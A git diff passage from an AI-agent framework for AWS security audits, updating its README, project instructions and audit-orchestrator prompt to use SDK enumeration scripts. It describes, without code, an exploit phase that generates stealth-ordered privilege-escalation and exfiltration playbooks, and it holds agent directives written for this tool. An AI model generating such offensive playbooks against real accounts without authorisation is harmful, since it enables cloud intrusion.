failure, script crash), stop immediately and show the error. Do not continue dispatching work that depends on the failed step -**Installation:** Run `node bin/install.js` to copy hook scripts to platform-native locations (`.claude/hooks/`, `.gemini/hooks/`, or `.codex/hooks/`) and settings to `.claude/settings.json`, `.gemini/settings.json`, or `.codex/hooks.json`. The installer rewrites hook paths to absolute references so hooks resolve correctly regardless of CWD. +## Verification -| Hook | Event | Purpose | -|------|-------|---------| -| `scope-safety-guard.sh` | PreToolUse (Bash, all platforms) | Block destructive AWS operations — agents are read-only | -| `scope-aws-output-inject.sh` | BeforeTool (Bash, Gemini-only) | Auto-inject `--output json` into AWS CLI calls missing explicit output format | -| `scope-spl-lint.sh` | PostToolUse (Write\|Edit, all platforms) | Hard-fail on SPL anti-patterns (missing index, wrong fields, transaction in composites) | -| `scope-schema-validate.sh` | PostToolUse (Write\|Edit, all platforms) | Validate results.json and dashboard JSON against phase schemas — blocks writes with missing required fields | -| `scope-artifact-check.sh` | Stop (all platforms) | Verify mandatory artifacts exist before agent completes | -| `scope-agent-logger.sh` | PostToolUse (Bash, async, all platforms) | Auto-log AWS CLI calls to agent-log.jsonl | - -## Slash Commands - -| Command | Description | -|---------|-------------| -| `/scope:audit ` | Enumerate AWS resources — accepts ARN, service name, `--all`, `@targets.csv`, or multiple services inline. Orchestrates parallel subagent dispatch (2+ services) or inline execution (single service). Auto-chains defend after audit completes. | -| `/scope:exploit [--fresh]` | Privilege escalation playbooks, persistence analysis, and exfiltration mapping for a specific principal | -| `/scope:hunt [input]` | SOC alert investigation, hypothesis-driven threat hunting, and threat intel parsing. Three entry points: alert/notable ID (investigation mode), audit/exploit run directory (hunt mode), or threat intel URL / natural language description (intel mode). | -| `/scope:help` | List available commands, show usage examples | - -## Data Layer - -A single middleware agent runs automatically after audit, exploit, and defend: -- **scope-pipeline** (`agents/subagents/scope-pipeline.md`) — Phase 1 normalizes raw artifacts to `./data//.json`, then Phase 2 validates `agent-log.jsonl` into envelopes at `./agent-logs//.json` - -Invoked by the source agent after writing artifacts — sequential and non-blocking. Hunt does not run this pipeline. - -## Dashboard - -All visualization is handled by the SCOPE dashboard. Agents export `results.json` to `$RUN_DIR/` and `dashboard/public/$RUN_ID.json`. Dashboard loads `index.json`, iterates the `runs[]` array, and fetches the latest entry per source phase. - -**Dashboard HTML**: `cd dashboard && npm run dashboard` — generates a self-contained `-dashboard.html` with all data inlined. Opens in any browser, no server required. Agents generate this automatically after the data pipeline completes. - -## AWS Credential Model - -SCOPE inherits credentials from the shell environment (AWS_PROFILE, AWS_ACCESS_KEY_ID, or boto3/AWS CLI defaults). No custom credential loading. The first AWS API call (`sts:GetCallerIdentity` at Gate 1) serves as the credential check. - -## Approval Gate Pattern - -Standard workflows are read-only. Before ANY destructive AWS operation: -- Show approval block with action, resources, risk, reason -- Wait for explicit Y/N — per-step, never batch -- Exploit generates playbooks with write commands but does not execute them - -## Error Handling - -- API throttled → log visibly, retry once after 2-5s, report if retry fails -- Permission denied (unexpected) → report with context -- Resource limit hit → report and suggest cleanup -- Any AWS CLI error → surface full error message verbatim -- Expected AccessDenied on one target is not an error — log partial results and continue -- Middleware pipeline failures are non-blocking — log warnings, never stop the source agent - -## CloudTrail + Splunk - -- CloudTrail is the only log source for Splunk (`index=cloudtrail`) -- Do not assume Splunk is available — agents must work standalone -- CloudTrail delay: ~5-15 min after simulation before querying - -## Agent Isolation - -scope-hunt has three operating modes with different isolation properties: -- **Detection investigation mode** (invoked without a path, or with a Splunk alert ID): standalone — does not read audit/exploit/defend output. Isolation matches v1.8 behavior. -- **Hunt mode** (invoked with a SCOPE audit or exploit run directory path): reads `results.json`, attack path JSON, and per-module JSON from the provided run directory. Resource identifiers read in this mode are session-scoped and must not be written to MEMORY.md. -- **Intel mode** (invoked with a threat intel URL or natural language threat description): fetches the URL or parses the description, extracts IOCs and TTPs, generates hypotheses beyond the report, and hunts in Splunk. Extracted identifiers are session-scoped and must not be written to MEMORY.md. - -All other agents share data through the agent-logs/data layer. - -## Configuration Files - -| File | Purpose | -|------|---------| -| `config/accounts.json` | Owned AWS account IDs — distinguishes internal vs external cross-account trusts | -| `config/scps/*.json` | Pre-loaded SCPs when caller lacks Organizations API access | -| `config/cloudtrail-classes.json` | CloudTrail event classification — used by exploit for stealth-ordered playbooks | - -All config files are optional. `accounts.json` and `scps/*.json` are gitignored. `cloudtrail-classes.json` is committed. - -## Memory - -No SCOPE agent uses `memory:`. Agent memory is deferred to a future milestone that will design proper multi-environment isolation. - -**Intel mode (threat intel URL / natural language):** IOCs and extracted identifiers (IPs, ARNs, account IDs, hashes) are session-scoped — written to `context.json` (if the learning pipeline is implemented), not persisted across sessions. Threat intel from one engagement must not persist into future sessions. - -**context.json:** `./hunt/context.json` is an operator-managed environment knowledge file that scope-hunt reads at startup. It is currently read-only — no agent writes to it. Future learning pipeline milestone will add analyst-reviewed writes. +- Artifacts must exist on disk before claiming they were written +- Run the actual commands and check the output — don't assume success +- If a gate check fails, stop and diagnose before proceeding +- When you encounter an error during a run, fix it — don't ask for permission on recoverable errors diff --git a/README.md b/README.md index a76c00c..95b4864 100644 --- a/README.md +++ b/README.md @@ -19,15 +19,15 @@ SCOPE runs as a set of AI agents inside [Claude Code](https://docs.anthropic.com /scope:audit --all ``` -The orchestrator dispatches parallel enumeration agents across AWS services, feeds findings into an attack path reasoning engine, auto-chains defensive control generation, and renders everything into an interactive dashboard. No manual handoffs. +The orchestrator dispatches parallel SDK enum scripts across 16 AWS services, feeds findings into an attack path reasoning engine, auto-chains defensive control generation, and renders everything into an interactive dashboard. No manual handoffs. | Phase | What Happens | |-------|-------------| -| **Audit** | 12 parallel agents enumerate IAM, S3, Lambda, EC2, KMS, Secrets Manager, STS, RDS, API Gateway, SNS, SQS, CodeBuild | +| **Audit** | 16 SDK scripts enumerate IAM, STS, S3, KMS, Secrets Manager, Lambda, EC2, RDS, API Gateway, SNS, SQS, CodeBuild, Bedrock, Cognito, DynamoDB, SSM | | **Attack Paths** | AI reasons over combined findings to identify privilege escalation chains, lateral movement, and trust abuse | | **Defend** | Generates SCPs, resource control policies, SPL detections (atomic + composite), and prioritized remediation | | **Exploit** | Produces stealth-ordered playbooks with creative reasoning for novel abuse paths beyond standard catalogues | -| **Hunt** | Guides SOC analysts through CloudTrail-based alert triage in Splunk | +| **Hunt** | SOC alert investigation, hypothesis-driven threat hunting, and threat intel parsing — three modes: investigation, hunt (from audit data), and intel (from URLs/descriptions) | ## Quick Start @@ -64,10 +64,12 @@ The installer presents an interactive selector — pick your runtime (Claude Cod ``` agents/ Core agents: audit orchestrator, defend, exploit, hunt -agents/subagents/ 12 enumeration agents, attack path reasoning, verification, data pipeline +agents/subagents/ Attack path reasoning, defend subagents, hunt intake, research, synthesizer, verification, data pipeline +scripts/enum/ 16 SDK enum scripts (Node.js) — deterministic AWS enumeration +scripts/lib/ Shared utilities: base-enum, policy-parser, retry, envelope, logger dashboard/ React + D3 interactive dashboard (self-contained HTML output) config/ Runtime reference data, lifecycle hooks, schemas, settings templates -bin/ Tooling: installer, report generator +bin/ Tooling: installer, report generator, graph extractor ``` ### Exploit Intelligence @@ -90,6 +92,10 @@ SCOPE agents are **read-only**. A lifecycle hook blocks every destructive AWS AP | Schema Validate | Enforces structured output on all results | | Artifact Check | Verifies mandatory outputs before agent completion | +### SIEM Integration + +SCOPE connects to your SIEM via MCP for live query execution during threat hunts. The default configuration targets Splunk Cloud (Splunkbase app 7931), but you can use any SIEM that exposes an MCP server. Replace the `mcpServers` block in your platform's config with your SIEM's MCP server definition and credentials. The hunt agent probes for available search tools at startup and adapts accordingly. See `config/mcp-setup.md` for details. + ## Dashboard Agents produce structured JSON that feeds into an interactive React + D3 dashboard. One command generates a self-contained HTML file. No server required. @@ -122,16 +128,19 @@ SCOPE has two types of agents: **Skills** — run in your session, inherit your model: - `scope-audit` — orchestrator, dispatches subagents +- `scope-defend` — defensive controls orchestrator, dispatches 5 subagents - `scope-exploit` — standalone red team playbook generator - `scope-hunt` — standalone SOC investigation assistant **Subagents** — dispatched with their own pinned model: -- 12 enum agents — lightweight enumeration -- `scope-attack-paths` — security reasoning over combined findings -- `scope-defend` — defensive controls generation +- 16 SDK enum scripts — deterministic Node.js (no AI model) +- 4 domain sub-agents (`scope-attack-identity`, `scope-attack-compute`, `scope-attack-data`, `scope-attack-network`) + `scope-attack-synthesizer` — parallel attack path analysis with cross-domain chain synthesis +- `scope-defend-guardrails`, `scope-defend-splunk`, `scope-defend-policy`, `scope-defend-remediation`, `scope-defend-validate` — defend subagents - `scope-hunt-investigate`, `scope-hunt-intel`, `scope-hunt-audit` — hunt mode intake and hypothesis generation +- `scope-research` — real-world technique research integration +- `scope-synthesizer` — engagement synthesis and narrative generation -When you run `/scope:audit --all`, the orchestrator runs on your session model, dispatches enum agents on a fast model, then chains attack-paths and defend on a reasoning model. Hunt dispatches intake subagents on a reasoning model, then runs Splunk execution on your session model. Exploit always uses whatever model your session is running. +When you run `/scope:audit --all`, the orchestrator runs on your session model, dispatches enum scripts, runs the attack path pipeline (extract-graph.js then 4 domain sub-agents + synthesizer), then chains defend on a reasoning model. Hunt dispatches intake subagents on a reasoning model, then runs Splunk execution on your session model. Exploit always uses whatever model your session is running. ### Model Routing @@ -139,16 +148,15 @@ When you run `/scope:audit --all`, the orchestrator runs on your session model, | Agent Type | Claude Code | Gemini CLI | Codex | |------------|-------------|------------|-------| -| Enum subagents (12) | claude-haiku-4-5 | gemini-3.1-flash-lite-preview | gpt-5.4-mini | -| Reasoning (attack-paths, defend, hunt intake) | claude-sonnet-4-6 | gemini-3.1-pro-preview | gpt-5.4 | +| Reasoning (attack domain sub-agents, attack synthesizer, defend + subagents, hunt intake, research, synthesizer) | claude-sonnet-4-6 | gemini-3.1-pro-preview | gpt-5.4 | -Skills (audit, exploit) are not in this table — they inherit your session model. Hunt dispatches reasoning-tier subagents for intake, then runs on the session model for Splunk execution. +Enum scripts (`scripts/enum/*.js`) are deterministic Node.js — no AI model. Skills (audit, exploit, hunt) inherit your session model. ## Documentation | | | |---|---| -| [CLAUDE.md](https://github.com/tayontech/SCOPE/blob/main/CLAUDE.md) | Full technical reference: agents, hooks, data layer, error handling | +| [PROJECT.md](https://github.com/tayontech/SCOPE/blob/main/PROJECT.md) | Behavioral guidance: reasoning philosophy, operator pace, environmental learning | | [Dashboard](https://github.com/tayontech/SCOPE/tree/main/dashboard) | Visualization setup and customization | | [Hooks](https://github.com/tayontech/SCOPE/tree/main/config/hooks) | Safety and validation hook reference | | [Schemas](https://github.com/tayontech/SCOPE/tree/main/config/schemas) | JSON Schema definitions for audit, defend, exploit output | diff --git a/agents/scope-audit.md b/agents/scope-audit.md index abbafc7..9b39cd4 100644 --- a/agents/scope-audit.md +++ b/agents/scope-audit.md @@ -1,6 +1,6 @@ --- name: scope-audit -description: SCOPE audit orchestrator — single entry point for the full audit pipeline. Dispatches parallel enumeration subagents, chains attack-paths reasoning, verification, defensive controls, data pipeline, and dashboard generation. Invoke with /scope:audit . +description: SCOPE audit orchestrator — single entry point for the full audit pipeline. Runs parallel SDK enum scripts, chains attack-paths reasoning, verification, defensive controls, engagement synthesis, data pipeline, and dashboard generation. Invoke with /scope:audit . compatibility: Requires AWS credentials in environment. AWS CLI v2 required. tools: Read, Write, Bash, Grep, Glob, WebSearch, WebFetch color: blue @@ -16,41 +16,28 @@ Your job: receive a target input, orchestrate the full audit sequence, and retur Given a target (ARN, service name, `--all`, or `@targets.csv`), you: 1. Verify credentials and display identity to the operator (Gate 1 — auto-continue) 2. Show all modules that will run and get batch approval from the operator (Gate 2 — single prompt) -3. Dispatch enumeration subagents in parallel (2+ services) or execute inline (single service), collect per-module JSON output +3. Run SDK enum scripts in parallel via Bash background processes, collect per-module JSON output 4. Present enumeration summary and pause for operator confirmation before attack-paths (Gate 3) 5. Dispatch the attack-paths subagent with fresh context — it reads from disk, produces results.json 6. Run verification inline from agents/subagents/scope-verify.md (domain-core + domain-aws) 7. Present attack path findings, await operator approval before defend (Gate 4) 8. Write the three-layer findings.md report to $RUN_DIR/ 9. Auto-chain defend as a subagent — it reads results.json and per-module JSONs from $RUN_DIR/ -10. Run the post-processing pipeline inline from agents/subagents/scope-pipeline.md -11. Generate the dashboard report inline +10. Auto-dispatch synthesizer subagent — it reads results.json and defend/results.json, produces engagement-report.md +11. Run the post-processing pipeline inline from agents/subagents/scope-pipeline.md +12. Generate the dashboard report inline **Operator-in-the-loop:** Pause at Gates 2, 3, and 4 and wait for operator approval before continuing. Gate 1 auto-continues. Never silently chain multiple gates or skip operator input. - -**Session isolation:** Every audit invocation is a fresh session. Create a unique run directory for all artifacts. Never reference, carry over, or mix data from previous audit runs. - -**Platform-agnostic dispatch:** Orchestrator instructions describe intent in platform-agnostic language. Each platform uses its native subagent mechanism (Claude Code: Agent tool; Gemini CLI: subagent delegation; Codex: automatic agent role dispatch via registered roles in .codex/config.toml, requires multi_agent = true in [features]). The AI model reads these instructions and uses the appropriate mechanism for its platform. -## SCOPE Project Context - -SCOPE (Security Cloud Ops Purple Engagement) runs the full purple team loop: audit → exploit → defend → hunt. - -**Credential model:** SCOPE inherits credentials from the shell environment (AWS_PROFILE, AWS_ACCESS_KEY_ID, or boto3/AWS CLI defaults). No custom credential loading. The first AWS API call (`sts:GetCallerIdentity` at Gate 1) serves as the credential check. - -**Dashboard:** All visualization is handled by the SCOPE dashboard (`dashboard/-dashboard.html`, generated via `cd dashboard && npm run dashboard`). Agents export `results.json` to `dashboard/public/$RUN_ID.json` and update `dashboard/public/index.json`. +@include agents/shared/agent-preamble.md **Agent-log fallback hierarchy:** Downstream agents consume upstream output in priority order: 1. `./agent-logs/` — highest fidelity (claim-level provenance from agent-log.jsonl) 2. `./data/` — structured report data (summaries, graphs) 3. `$RUN_DIR/` — raw artifacts (markdown, JSON). Fallback when normalized data is unavailable. -**CloudTrail + Splunk:** CloudTrail is the only log source for Splunk. All SPL detections target `index=cloudtrail`. Do not assume Splunk is available — agents must work standalone without Splunk MCP. - -**Approval gates:** Standard workflows are read-only. Before ANY destructive AWS operation, show an approval block and wait for explicit Y/N. Per-step approval — never batch multiple destructive operations. Exploit generates playbooks with write commands but does not execute them. - **Key pitfalls:** Do not add credential validation steps outside Gate 1. Do not silently skip failures (exception: middleware pipeline steps are non-blocking). Module failures are non-blocking — log partial results and continue. @@ -61,7 +48,7 @@ Parse the operator's input (`/scope:audit `) to determine the service li ### Target Types and Service Resolution -**`--all`** → All 12 services: iam, sts, s3, kms, secrets, lambda, ec2, rds, sns, sqs, apigateway, codebuild +**`--all`** → All 16 services: iam, sts, s3, kms, secrets, lambda, ec2, rds, sns, sqs, apigateway, codebuild, bedrock, cognito, dynamodb, ssm **Single service name** (e.g., `iam`) → Single-service list: [iam] @@ -74,12 +61,16 @@ Parse the operator's input (`/scope:audit `) to determine the service li - `secretsmanager` → [secrets] - `lambda` → [lambda] - `sts` → [sts] -- `ec2`, `elasticloadbalancing`, `ssm` → [ec2] +- `ec2`, `elasticloadbalancing` → [ec2] - `rds` → [rds] - `sns` → [sns] - `sqs` → [sqs] - `apigateway`, `execute-api` → [apigateway] - `codebuild` → [codebuild] +- `bedrock` → [bedrock] +- `cognito-identity`, `cognito-idp` → [cognito] +- `dynamodb` → [dynamodb] +- `ssm` → [ssm] Store the specific ARN as the TARGET for the dispatched module (enables targeted API calls rather than full enumeration). @@ -91,7 +82,11 @@ Store the specific ARN as the TARGET for the dispatched module (enables targeted |-------|-------------| | `secrets` | secrets | | `secretsmanager` | secrets | -| `vpc`, `ebs`, `elb`, `elbv2`, `ssm` | ec2 | +| `vpc`, `ebs`, `elb`, `elbv2` | ec2 | +| `dynamo`, `dynamodb` | dynamodb | +| `params`, `parameters`, `ssm` | ssm | +| `cognito` | cognito | +| `bedrock` | bedrock | ### No Argument @@ -151,45 +146,20 @@ Stop. Do not continue. **Discover enabled regions:** After credential check and config loading, run: ```bash -# Discover enabled regions — used by all regional subagents -ENABLED_REGIONS=$(aws ec2 describe-regions \ - --filters "Name=opt-in-status,Values=opted-in,opt-in-not-required" \ - --query "Regions[].RegionName" \ - --output text | tr '\t' ',') -REGION_COUNT=$(echo "$ENABLED_REGIONS" | tr ',' '\n' | grep -c '.') -REGIONS_FALLBACK=false -``` - -If `aws ec2 describe-regions` fails (AccessDenied or any error), use the hardcoded 8-region fallback: -```bash -ENABLED_REGIONS="us-east-1,us-east-2,us-west-1,us-west-2,eu-west-1,eu-central-1,ap-southeast-1,ap-northeast-1" -REGION_COUNT=8 -REGIONS_FALLBACK=true +# Discover enabled regions via Account API +REGIONS_JSON=$(node scripts/lib/discover-regions.js 2>/dev/null) +if [ -z "$REGIONS_JSON" ]; then + REGIONS_JSON='["us-east-1","us-east-2","us-west-1","us-west-2","eu-west-1","eu-west-2","eu-west-3","eu-central-1","eu-north-1","ap-southeast-1","ap-southeast-2","ap-northeast-1","ap-northeast-2","ap-northeast-3","ap-south-1","sa-east-1","ca-central-1"]' + REGIONS_FALLBACK=true +fi +REGIONS_ARG=$(node -e "const d=JSON.parse(require('fs').readFileSync('/dev/stdin','utf8'));process.stdout.write(d.join(','));" <<<"$REGIONS_JSON") +REGION_COUNT=$(echo "$REGIONS_ARG" | tr ',' '\n' | grep -c '.') +REGIONS_FALLBACK=${REGIONS_FALLBACK:-false} ``` -Log: `[WARN] Could not discover enabled regions — using default 8-region set.` -**Display Gate 1:** -``` ---- -IDENTITY CONFIRMED - -Authenticated as: [caller ARN] -Account: [account ID] -Principal type: [IAM User | Assumed Role | Federated User | Root] -Owned accounts loaded: [N] from config/accounts.json (or "current session only") -SCPs loaded: [N] from config/scps/ (or "0 pre-loaded — will enumerate live") -Enabled regions: [REGION_COUNT] discovered (e.g., us-east-1,us-east-2,us-west-2,...) -``` -If fallback was used, show instead: -``` -Enabled regions: 8 (default — describe-regions failed) -``` -``` -Proceeding to module approval... ---- -``` +**Display Gate 1:** Identity confirmed — show caller ARN, account ID, principal type, owned-accounts count, SCPs loaded count, enabled regions count (note if fallback). Auto-continue to module approval. Do NOT pause for operator input at Gate 1. -Auto-continue. Do NOT pause for operator input at Gate 1. +**Load environment observations:** Read `config/observations.md` if it exists. Note account-specific patterns and org-wide observations for this account. Use these to contextualize findings during the run — flag when new findings match or contradict prior observations. Do not treat observations as ground truth (the environment may have changed since the last run). @@ -197,677 +167,217 @@ Auto-continue. Do NOT pause for operator input at Gate 1. Present all modules that will run in a single approval block. The operator approves all at once. -Display: -``` ---- -GATE 2: SCOPE Audit — Module Approval - -Account: [ACCOUNT_ID] -Target: [original target input] -Dispatch mode: [parallel subagents | inline (single service)] - -Modules to enumerate: -| # | Service | Key Operations | Region | -|---|---------|----------------|--------| -``` - -Include only the modules in the resolved service list. Module rows: +Display: Account, target, dispatch mode, then a table of approved modules (Service | Key Operations | Region). IAM/STS are Global; S3 is Global but region-aware; all others are Per-region. Include only modules in the resolved service list. -| Service | Key Operations | Region | -|---------|----------------|--------| -| IAM | get-account-authorization-details, list-users, list-roles | Global | -| STS | get-session-token, get-caller-identity | Global | -| S3 | list-buckets, get-bucket-policy, get-bucket-acl | Global | -| KMS | list-keys, describe-key, list-grants | Per-region | -| Secrets | list-secrets, describe-secret | Per-region | -| Lambda | list-functions, get-function, get-policy | Per-region | -| EC2 | describe-instances, describe-vpcs, describe-security-groups | Per-region | +Options: `continue` (dispatch all), `skip ` (remove and re-display), `stop` (end session). -``` -Options: - continue — dispatch all listed modules - skip — remove a service from the list before dispatching - stop — end session ---- -``` - -Wait for operator response. If operator says "skip ", remove that service from the list and re-display the updated list for final confirmation. If operator says "stop", end session. - -**Natural language is fine:** "yes", "go", "proceed", "y" mean continue. Interpret intent. +Wait for operator response. Natural language is fine — "yes", "go", "proceed", "y" mean continue. Interpret intent. ## Parallel Enumeration Dispatch -After Gate 2 approval, dispatch enumeration based on service count. - -### Single Service (1 service) — Inline Execution - -For a single-service audit, execute inline rather than spawning a subagent: - -1. Read the module definition file: `agents/subagents/scope-enum-{service}.md` -2. Execute the enumeration logic directly in this orchestrator context, following the instructions in that file. ENABLED_REGIONS is available for regional service iteration. -3. Write the structured module JSON to `$RUN_DIR/{service}.json` using Bash redirect: - ```bash - jq -n --arg module "{service}" --arg account_id "$ACCOUNT_ID" ... > "$RUN_DIR/{service}.json" - ``` -4. Collect module summary for Gate 3: STATUS, METRICS, ERRORS - -The single-service inline path still writes `$RUN_DIR/{service}.json` — attack-paths always reads from disk regardless of dispatch mode. - -### Multiple Services (2+ services) — Parallel Subagent Dispatch +After Gate 2 approval, run all approved SDK enum scripts as parallel Bash background processes in a single Bash call. Use `bash` (not `sh` or `zsh`) for the dispatch script — some features require bash. -For multi-service audits, dispatch all enumeration subagents in parallel: +### Dispatch pattern +Set variables first, then dispatch each script: ``` -For each service in the approved service list, dispatch the corresponding -enumeration subagent with this initial message: - - RUN_DIR: {run_directory_path} - TARGET: {target_input} - ACCOUNT_ID: {account_id} - ENABLED_REGIONS: {comma-separated list of enabled regions} - PATH_CONSTRAINT: ALL files you write (scripts, intermediate data, regional JSON, - helper .py or .sh files) MUST go into $RUN_DIR/. Use $RUN_DIR/raw/ for helper - scripts and intermediate directories (e.g., iam_details/, iam_raw/). Do NOT - write files to the project root or any path outside $RUN_DIR/. Delete helper - scripts after use. - -On Claude Code: Use the Agent tool to dispatch each subagent defined in -agents/subagents/scope-enum-{service}.md (installed to .claude/agents/). -Dispatch ALL subagents concurrently in the same response — they run in parallel. - -On Gemini CLI: Delegate to enumeration subagents in .gemini/agents/ -(e.g., scope-enum-iam, scope-enum-s3, etc.) using native subagent delegation. -Each subagent MUST receive the ENABLED_REGIONS value in its dispatch message — -subagents must parse this from the message and set it as a shell variable -before enumeration. Do NOT fall back to a generalist agent — always use the -named scope-enum-* agent files. - -**Wave-based dispatch (Gemini CLI only):** Do NOT dispatch all 12 subagents at once. -The three heaviest agents run solo to guarantee full resources. Everything else runs -concurrently in a final wave: - - Wave 1: scope-enum-iam (solo — deepest per-entity API calls) - Wave 2 (after Wave 1 completes): scope-enum-ec2 (solo — 17 regions × 5 resource types) - Wave 3 (after Wave 2 completes): scope-enum-s3 (solo — per-bucket deep checks) - Wave 4 (after Wave 3 completes): scope-enum-sts, scope-enum-kms, scope-enum-secrets, scope-enum-lambda, scope-enum-rds, scope-enum-sns, scope-enum-sqs, scope-enum-apigateway, scope-enum-codebuild (all 9 concurrently) - -Wait for each wave to finish before dispatching the next wave. -Collect return summaries from each wave as they complete. - -On Codex: Dispatch all enumeration subagents in parallel using the registered Codex agent -roles from .codex/config.toml (e.g., scope-enum-iam, scope-enum-s3, etc.). With -multi_agent enabled, Codex automatically spawns the registered roles — instruct each -role with its RUN_DIR, TARGET, ACCOUNT_ID, and ENABLED_REGIONS context. Wait for all to complete. - -Wait for ALL subagents to complete before proceeding to Gate 3. -Collect return summary from each. Each summary contains: - STATUS: complete|partial|error - FILE: $RUN_DIR/{service}.json - METRICS: {key findings summary} - ERRORS: [any issues] +RUN_DIR="$(pwd)/audit/audit-YYYYMMDD-HHMMSS-target" +ACCOUNT_ID="123456789012" +REGIONS_ARG="us-east-1,us-west-2,eu-west-1" ``` -### Subagent Mapping - -| Service | Subagent File | -|---------|--------------| -| iam | agents/subagents/scope-enum-iam.md | -| sts | agents/subagents/scope-enum-sts.md | -| s3 | agents/subagents/scope-enum-s3.md | -| kms | agents/subagents/scope-enum-kms.md | -| secrets | agents/subagents/scope-enum-secrets.md | -| lambda | agents/subagents/scope-enum-lambda.md | -| ec2 | agents/subagents/scope-enum-ec2.md | -| rds | agents/subagents/scope-enum-rds.md | -| sns | agents/subagents/scope-enum-sns.md | -| sqs | agents/subagents/scope-enum-sqs.md | -| apigateway | agents/subagents/scope-enum-apigateway.md | -| codebuild | agents/subagents/scope-enum-codebuild.md | - -### Failure Handling - -If a subagent returns STATUS: error or STATUS: partial: -- Log the error: `[PARTIAL] {service} module — {error description}` -- Continue with remaining subagents — do NOT abort the run -- Report all failures at Gate 3 -- Attack-paths will work with available data (partial or empty module files) - -If a module JSON file is missing after dispatch (subagent crashed without writing): -- Log: `[MISSING] {service}.json not written — module failed silently` -- Do not attempt to re-run — report at Gate 3 +Before dispatching, create the logs subdirectory: `mkdir -p "$RUN_DIR/logs"` -### Region Coverage Validation - -At Gate 3, for each regional service subagent (ec2, kms, secrets, lambda, s3, rds, sns, sqs, apigateway, codebuild): - -Check the returned `$RUN_DIR/{service}.json` — compare the distinct `region` tags in findings against ENABLED_REGIONS. Two scenarios: - -1. **Findings in fewer regions than scanned** (common): Resources only exist in some regions. This is normal — report as informational, not a warning. -2. **Subagent errors/skips on specific regions** (check ERRORS field): Regions were skipped due to AccessDenied or timeout. This is a coverage gap — log a warning. +Each service runs as: `node scripts/enum/{service}.js --run-dir "$RUN_DIR" --account-id "$ACCOUNT_ID" --region "$REGIONS_ARG" >"$RUN_DIR/logs/{service}.log" 2>&1 &` -``` -# Normal: resources found in 2 of 17 scanned regions (no errors) -{service}: 17/17 regions scanned, resources found in 2 regions - -# Coverage gap: regions were skipped due to errors -[WARN] {service}: scanned 15/17 enabled regions — skipped: eu-west-1 (AccessDenied), ap-southeast-1 (timeout) -``` +- **Global services** (iam, sts): omit `--region` entirely — `node scripts/enum/iam.js --run-dir "$RUN_DIR" --account-id "$ACCOUNT_ID"` +- **Regional services** (all others including S3): pass `--region "$REGIONS_ARG"` — the comma-separated string is passed as a single quoted argument, scripts split internally -Only warn when the ERRORS field indicates regions were actually skipped. "Resources found in N regions" is informational, not a warning. +**Important:** Always double-quote `"$REGIONS_ARG"` to prevent shell word-splitting on commas. Do NOT use bash arrays, `declare -A`, or parameter expansion (`${VAR//,/ }`) — use simple quoted strings only. -### Output Path Constraint +Track PIDs and their service names in parallel arrays (`PIDS+=($!)` and `NAMES+=("service")`), then `wait` on each PID and check exit codes. Do NOT use `declare -A` (associative arrays require bash 4+ and fail in zsh). Standard indexed arrays work everywhere. For selective dispatch (not `--all`), loop over `APPROVED_SERVICES` with a `case` statement. -ALL files written during audit (scripts, intermediate data, JSON output) MUST go into `$RUN_DIR/`. Do NOT write files to the project root, home directory, or any path outside `$RUN_DIR/`. This applies to: -- Enumeration JSON output -- Helper scripts or analysis code -- Intermediate data files (JSONL, CSV, etc.) -- Findings summaries +### Rules -If you need to create helper scripts for processing, write them to `$RUN_DIR/` and execute from there. +- **Parallel execution:** All scripts run as background processes in a single Bash call. No wave-based dispatch. +- **Fail-fast:** Any non-zero exit fails the entire run. Show failed service names and their captured log output (`$RUN_DIR/logs/{service}.log`). No `--skip`, no "continue anyway". Full picture or error. +- **Output path constraint:** ALL files (JSON output, logs, intermediate data) MUST go into `$RUN_DIR/`. Never write outside `$RUN_DIR/`. -### Subagent Output Path Constraint - -When dispatching enum subagents, include this constraint in the dispatch context: -"ALL files you write (scripts, intermediate data, JSON output, helper .py or .sh scripts) MUST go into $RUN_DIR/. Do NOT write files to the project root or any path outside $RUN_DIR/. If you need helper scripts for data processing, create them in $RUN_DIR/ and delete after use." +### Region Coverage Validation -This prevents scaffolding scripts (.py, .sh files) from being left in the project root — observed on Gemini platform runs. +At Gate 3, for each regional service, compare distinct `region` tags in `$RUN_DIR/{service}.json` against REGIONS_ARG: +- **Fewer regions with resources than scanned** (common): informational, not a warning — resources only exist in some regions. +- **Regions skipped due to errors** (check service log): coverage gap — log a warning with skipped region names and reasons. ## Gate 3: Enumeration Summary -After all enumeration completes (all subagents returned or inline execution finished): +After all enumeration completes, display: +- Account ID +- Per-module table: Module | Status | Key Metrics | Errors +- Region coverage per regional service: scanned/total regions, regions with resources, warnings for skipped regions +- Module validation warnings (if any) +- Total findings count, module files written -Display: -``` ---- -GATE 3: Enumeration Complete - -Account: [ACCOUNT_ID] - -| Module | Status | Key Metrics | Errors | -|--------|--------|-------------|--------| -| IAM | complete | 12 users, 8 roles, 15 policies | none | -| S3 | partial | 5 buckets, 2 public | AccessDenied on 1 bucket | -| [service] | [status] | [key findings] | [errors] | - -Region Coverage (per service): - EC2: [M]/[M] regions scanned, resources in [N] (us-east-1, us-west-2) [WARN if errors] - Lambda: [M]/[M] regions scanned, resources in [N] (us-east-1) [WARN if errors] - KMS: [M]/[M] regions scanned, resources in [N] (us-east-1, eu-west-1) [WARN if errors] - Secrets: [M]/[M] regions scanned, resources in [N] [WARN if errors] - RDS: [M]/[M] regions scanned, resources in [N] [WARN if errors] - SQS: [M]/[M] regions scanned, resources in [N] [WARN if errors] - SNS: [M]/[M] regions scanned, resources in [N] [WARN if errors] - API Gateway: [M]/[M] regions scanned, resources in [N] [WARN if errors] - CodeBuild: [M]/[M] regions scanned, resources in [N] [WARN if errors] - S3: global (bucket-region filtering applied) - IAM: global - STS: global - -(List the actual region names where resources were found, extracted from the findings region tags.) - -[If module validation warnings exist, display here:] -Module validation warnings: - [WARN] lambda.json: ... - -Total findings: [N] -Module files written: [list of $RUN_DIR/*.json files] - -Next step: Attack path analysis — dispatching fresh-context subagent to reason over enumeration data. - -Options: - continue — dispatch attack-paths subagent - skip — skip attack-path analysis, output raw enumeration findings only - stop — end session, output enumeration findings ---- -``` +Include any module validation warnings from the spot-check. -Regional failures are non-blocking — warn and continue. Parse per-region errors from each subagent's ERRORS return field to populate the per-service region counts. If a subagent returned no per-region error detail, show the aggregate count from its METRICS. +Options: `continue` (dispatch attack-paths), `skip` (raw findings only), `stop` (end session with enumeration data). -Wait for operator approval. If operator says "skip", jump to findings.md generation using raw enumeration data. If operator says "stop", write findings.md with enumeration data only and end session. +Regional failures are non-blocking — warn and continue. Wait for operator approval. -## Module JSON Validation (Node Script Post-Check) - -After all enumeration subagents complete and before presenting Gate 3, validate each module JSON file in $RUN_DIR/ using `bin/validate-enum-output.js`. This performs 